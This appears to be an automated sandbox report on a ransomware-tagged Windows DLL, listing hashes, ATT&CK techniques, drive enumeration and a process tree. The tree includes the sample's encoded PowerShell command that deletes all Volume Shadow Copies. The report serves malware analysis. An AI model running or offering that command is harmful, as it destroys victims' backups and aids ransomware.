578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
25-05-2024 13:55

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General

Target

722e15d85827d3ac13e56e8108688012_JaffaCakes118.dll
Size

164KB
MD5

722e15d85827d3ac13e56e8108688012
SHA1

cab935a24d7d0ea7e8d93851f7ea94ab9bccfc34
SHA256

578e1b00157447f99716b646af6b0c33d0f6c32257a19376d6cc9d003ff0fba1
SHA512

59e24cf313db4413f44f16a8276d072f43402e718c25e1d00e81ddc69a1937473cfd1902c320bc9175d75a0d43a53ab3e971b8447ec1cf9cf9aa3aa536464273
SSDEEP

3072:BrX1t2U05pbJ5xhxY9doh7O79siUs/NaT8Sp:BrltH05f5v2i7O93No7

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2104	rundll32.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeBackupPrivilege	2432	vssvc.exe
Token: SeRestorePrivilege	2432	vssvc.exe
Token: SeAuditPrivilege	2432	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 2104	2744	rundll32.exe	28
PID 2744 wrote to memory of 2104	2744	rundll32.exe	28
PID 2744 wrote to memory of 2104	2744	rundll32.exe	28
PID 2744 wrote to memory of 2104	2744	rundll32.exe	28
PID 2744 wrote to memory of 2104	2744	rundll32.exe	28
PID 2744 wrote to memory of 2104	2744	rundll32.exe	28
PID 2744 wrote to memory of 2104	2744	rundll32.exe	28
PID 2104 wrote to memory of 2700	2104	rundll32.exe	29
PID 2104 wrote to memory of 2700	2104	rundll32.exe	29
PID 2104 wrote to memory of 2700	2104	rundll32.exe	29
PID 2104 wrote to memory of 2700	2104	rundll32.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\722e15d85827d3ac13e56e8108688012_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\722e15d85827d3ac13e56e8108688012_JaffaCakes118.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2700

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2536

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2700-4-0x000007FEF5D7E000-0x000007FEF5D7F000-memory.dmp

Filesize
4KB

Download
memory/2700-5-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2700-6-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2700-7-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-8-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-9-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-10-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-11-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-12-0x000007FEF5AC0000-0x000007FEF645D000-memory.dmp

Filesize
9.6MB

Download